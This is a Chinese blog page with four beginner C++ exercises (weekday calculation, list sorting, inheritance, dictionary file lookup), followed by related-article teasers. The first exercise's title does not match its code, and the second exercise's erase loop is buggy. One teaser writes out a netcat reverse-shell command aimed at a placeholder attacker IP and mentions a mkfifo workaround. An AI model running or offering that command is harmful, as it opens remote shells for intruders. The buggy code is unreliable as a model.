C++ 练习题四道 hv-LDM

1.判断两个日期间的天数

class test {
public:int y, m, d, x;test(){y = 2023, m = 3, d = 1, x = 3;}test(int yy, int mm, int dd){y = yy;m = mm;d = dd;}void ReturnWeekDay(){int iWeek = 0;int Y = 0, C = 0, M = 0, D = 0;if (m == 1 || m == 2){C = (y - 1) / 100;Y = (y - 1) % 100;M = m + 12;D = d;}else{C = y / 100;Y = y % 100;M = m;D = d;}iWeek = Y + Y / 4 + C / 4 - 2 * C + 26 * (M + 1) / 10 + D - 1;iWeek = iWeek >= 0 ? (iWeek % 7) : (iWeek % 7 + 7);if (iWeek == 7){iWeek = 0;}cout << "today is weekday:" << iWeek << endl;}
};
int main()
{test t(2013,3,3);t.ReturnWeekDay();return 0;
}

2.对学生成绩排序

struct S
{int grade;int number;int score;bool operator == (S s){return score == s.score;}
};
class test
{
private:list<S>a;list<S>::iterator p;int n, i;static int m;
public:test(int nn){S temp;n = nn;srand(time(0));for (i = 0; i < n; ++i){temp.grade = rand() % 4 + 1;temp.number = rand();temp.score = rand()%99;a.push_back(temp);}}void browse(){for (p = a.begin(); p != a.end(); ++p){cout << p->grade << "-" << p->number << "-" << p->score << endl;}}static bool sort1(S s1, S s2){return s1.score < s2.score;}void Sort(){a.sort(sort1);}static bool find1(S s){return s.score >= 80;}static bool find2(S s){return s.grade == m;}void turn(){int num = 0;p = a.begin();while (1){p = find_if(p, a.end(), find1);if (p != a.end()){++num;++p;}else break;}cout << num << endl;cout << "input delete:" << endl;cin >> m;p = a.begin();while (1){p = find_if(p, a.end(), find2);if (p != a.end()){p = a.erase(p);++p;}else break;}for(;p != a.end();++p){if (p->grade == m){a.erase(p);}else break;}}
};
int test::m;
int main()
{test t(10);t.Sort();t.browse();cout << "==========" << endl;t.turn();t.browse();return 0;
}

3.简单排序

class test
{
protected:int n;
public:test(){n = 10;}test(int nn ){n = nn;}static bool sort1(int n1, int n2)						//必须静态{return n1 > n2;						//实现从大到小排序}void output() {int x = 0;int i = 0;int* p = new int[n];for (i = 0; i < n; i++){x = rand() % 89 + 11;p[i] = x;}sort(p,p + n,sort1);for (i = 0; i < 3; i++){cout << p[i] << endl;}}
};
class test1:public test
{
protected:int m;
public:test1(){m = 2;}test1(int nn,int mm):test(nn){m = mm;}void turn(){srand(time(0)+rand());int i = 0;for (i = 0; i < m; i++){test1* p = new test1(*this);p->output();delete p;}}
};
int main()
{test1 t(10,2);t.turn();return 0;
}

4.文件操作  查找指定字符

class test
{
private:string s, s1;string::size_type n, n1, n2, pos;ifstream f;
public:test(){}void turn(){f.open("dictionary.txt", ios::in);if (!f){cout << "file error!" << endl;}string temp;cout << "input word:";cin >> temp;while (!f.eof()){getline(f, s);if (temp == Word(s)){cout << s << endl;break;}}f.close();}string Word(string s){n = s.find(" ", 0);s1 = s.substr(0, n);return s1;}
};
int main()
{test t;t.turn();return 0;
}class test {
private:fstream f; string::size_type n; map<string, string>a;map<string, string>::iterator p;
public:test(){string s, s1;f.open("dictionary.txt", ios::in); while (true){getline(f, s); n = s.find(" ", 0); s1 = s.substr(0, n); a.insert(pair<string, string>(s1, s)); if (f.eof())break;}} ~test() { f.close(); }void FIND() {string word;cout << "input word:";cin >> word;p = a.find(word);if (p != a.end()){cout << p->second << endl;}else cout << "no word!" << endl;}
};
int main()
{test t;t.FIND(); return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/12319.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTML常用标签-布局相关标签

布局标签 div标签 俗称"块",主要用于划分页面结构,做页面布局 自己独占一行的元素&#xff0c;设置宽高生效 span标签 俗称"层",主要用于划分元素范围,配合CSS做页面元素样式的修饰 不会自己独占一行的元素&#xff0c;设置宽高不生效 代码 <div style&…

海南省薪鑫网络科技有限公司:引领智能剪辑纪元!

在数字化浪潮的激荡下&#xff0c;海南省薪鑫网络科技有限公司凭借其尖端技术实力&#xff0c;正引领着内容创作行业迈向一个崭新的智能剪辑纪元。这一划时代的变革&#xff0c;源于公司精心打造的AI剪辑软件&#xff0c;它不仅为剪辑工作赋予了新的高度&#xff0c;也为广大创…

段合并排序算法(附代码)

文章目录 前言一、题目二、代码总结 前言 学无止境&#xff0c;笔勤不辍。今天更新一道作业题好多人都被困住了&#xff0c;笔者也花了一些时间…后续会附上详细解释 使用的是python 一、题目 段合并排序算法&#xff1a; 将数组划分为n1/2个子数组&#xff0c;每个子数组有n…

高等代数复习:同构定理

文章目录 同构定理 本篇文章适合个人复习翻阅&#xff0c;不建议新手入门使用 同构定理 接下来我们要证明如下几个同构定理 定理&#xff08;线性映射同构定理&#xff09; 设 φ &#xff1a; V → V ′ \varphi&#xff1a;V\to V φ&#xff1a;V→V′ 是一个线性映射&…

RK3566(泰山派):3.1寸屏幕D310T9362V1SPEC触摸驱动(竖屏)

RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09; 文章目录 RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09;电路配置i2c1设备树创建驱动编写…

ScientificLinux/Centos/RedHat老版本离线安装gcc、g++记录

背景 最近有一台ScientificLinux6.3的机器需要使用gcc和g编译安装包&#xff0c; 因为在公司内网环境&#xff0c;而且软件仓库也停止维护&#xff0c;好在官方仓库中有老版本的归档目录&#xff0c; 在此记录下安装过程&#xff0c;centos和redhat也同样适用。 步骤 下载rp…

算法分析与设计复习__渐近+复杂度

算法v.s.程序: 程序 数据结构 算法&#xff1b; 1.时空复杂度T(n)/O(n)&#xff08;衡量一个算法的优劣&#xff09; 1.1最坏/最好/平均(所有输入等概出现)时间复杂度; 1.1.1 E.g.手算某算法&#xff08;冒泡排序&#xff09;程序段的T,O; 1.2算法的渐近表示&#xff1b; …

14030.ZynqMP配置vlan与ubuntu虚拟机(PC)进行通信

文章目录 1 场景描述2 zynqmp 开发板配置vlan2.1 配置内核2.2 配置vlan地址3 windows 配置网卡vlan标签3.1 网卡配置vlan标签3.2 开发板与windows进行ping连接4 ubuntu配置vlan4.1 ubuntu配置桥接,使用同样的物理网卡4.2 开发板ping 虚拟机5 VLAN的pcap与普通的pcap的区别1 场…

智慧安防系统:构建更安全的社区环境

随着科技的不断进步&#xff0c;人们的生活质量得到了显著提高。然而&#xff0c;与此同时&#xff0c;社会治安问题也日益凸显。为了维护社会的和谐稳定&#xff0c;提高人们的生活安全感&#xff0c;智慧安防系统应运而生。本文将为您详细介绍智慧安防系统的项目背景、需求分…

3D,点云平面拟合

文章目录 一、RANSAC平面拟合1、原理2、伪代码二、最小二乘平面拟合1、原理2、伪代码参考资料三维空间中,平面方程的一般表达式为: A x + B y + C z + D =

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略

暗黑4可以搬砖吗&#xff1f;暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP&#xff0c;在全世界有着广泛的玩家群体&#xff0c;更是在今年暴雪国服宣布回归之后&#xff0c;吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

【多模态】30、Monkey | 支持大尺寸图像输入的多任务多模态大模型

文章目录 一、背景二、方法2.1 Enhancing Input Resolution2.2 Multi-level Description Generation2.3 Multi-task Training 三、效果3.1 Image Caption3.2 General VQA3.3 Scene Text-centric VQA3.4 Document-oriented VQA3.5 消融实验3.6 可视化 论文&#xff1a;Monkey : …

数据结构与算法-排序算法2-选择排序

目录 1.选择排序&#xff1a; 1.介绍&#xff1a; 2.动态图解 3.举例 4.小结选择排序规则 5.选择排序代码 6.运行时间 代码&#xff1a; 运行结果&#xff1a; 1.排序算法简介 排序也称为排序算法。排序是将一组数据依据指定的顺序进行排列的过程。 2.常见的排序算法…

国内好用的测试用例管理工具有哪些?

目前市面上的测试用例管理工具有很多&#xff0c;但由于针对的项目、领域、目标用户&#xff0c;功能也并不一致&#xff0c;所以选择一款适合的测试管理平台并不轻松。做好这件事&#xff0c;首先要需求明确你用测试管理工具干什么&#xff1f;最终想要达到什么目标&#xff1…

vue2人力资源项目8员工详情

页面结构 <template><div class"dashboard-container"><div class"app-container"><div class"edit-form"><el-form ref"userForm" label-width"220px"><!-- 姓名 部门 --><el-row…

【科研】常用的实验结果评价指标(2) —— MAE 是什么? !

了解MAE 提示&#xff1a;先说概念&#xff0c;后续再陆续上代码 文章目录 了解MAE前言一、MAE 基本概念1. MAE 是什么&#xff1f;2. MAE 的起源3. MAE 的计算公式 二、MAE的适用场景是什么&#xff1f;三、MAE 的劣势&#xff0c;或 不适用于那些场景或者数据&#xff1f;四、…

【Python】【应用】Python应用之如何操作WiFi之一——使用pywifi

&#x1f41a;作者简介&#xff1a;花神庙码农&#xff08;专注于Linux、WLAN、TCP/IP、Python等技术方向&#xff09;&#x1f433;博客主页&#xff1a;花神庙码农 &#xff0c;地址&#xff1a;https://blog.csdn.net/qxhgd&#x1f310;系列专栏&#xff1a;Python应用&…

Linux修炼之路之yum和vim编辑器

目录 一&#xff1a;Linux软件包管理器yum 二&#xff1a;vim编辑器 vim的三种模式及互相转换 命令模式 底行模式 三&#xff1a;普通用户的sudo指令(修改信任名单) 接下来的日子会顺顺利利&#xff0c;万事胜意&#xff0c;生活明朗-----------林辞忧 一&#xff1a…

我眼中的IT行业现状与未来趋势

我眼中的IT行业现状与未来趋势 *随着技术的不断进步&#xff0c;IT行业已成为推动全球经济和社会发展的关键力量。从云计算、大数据、人工智能到物联网、5G通信和区块链&#xff0c;这些技术正在重塑我们的生活和工作方式。 一、技术革新与行业应用 当前IT行业的技术革新涵盖…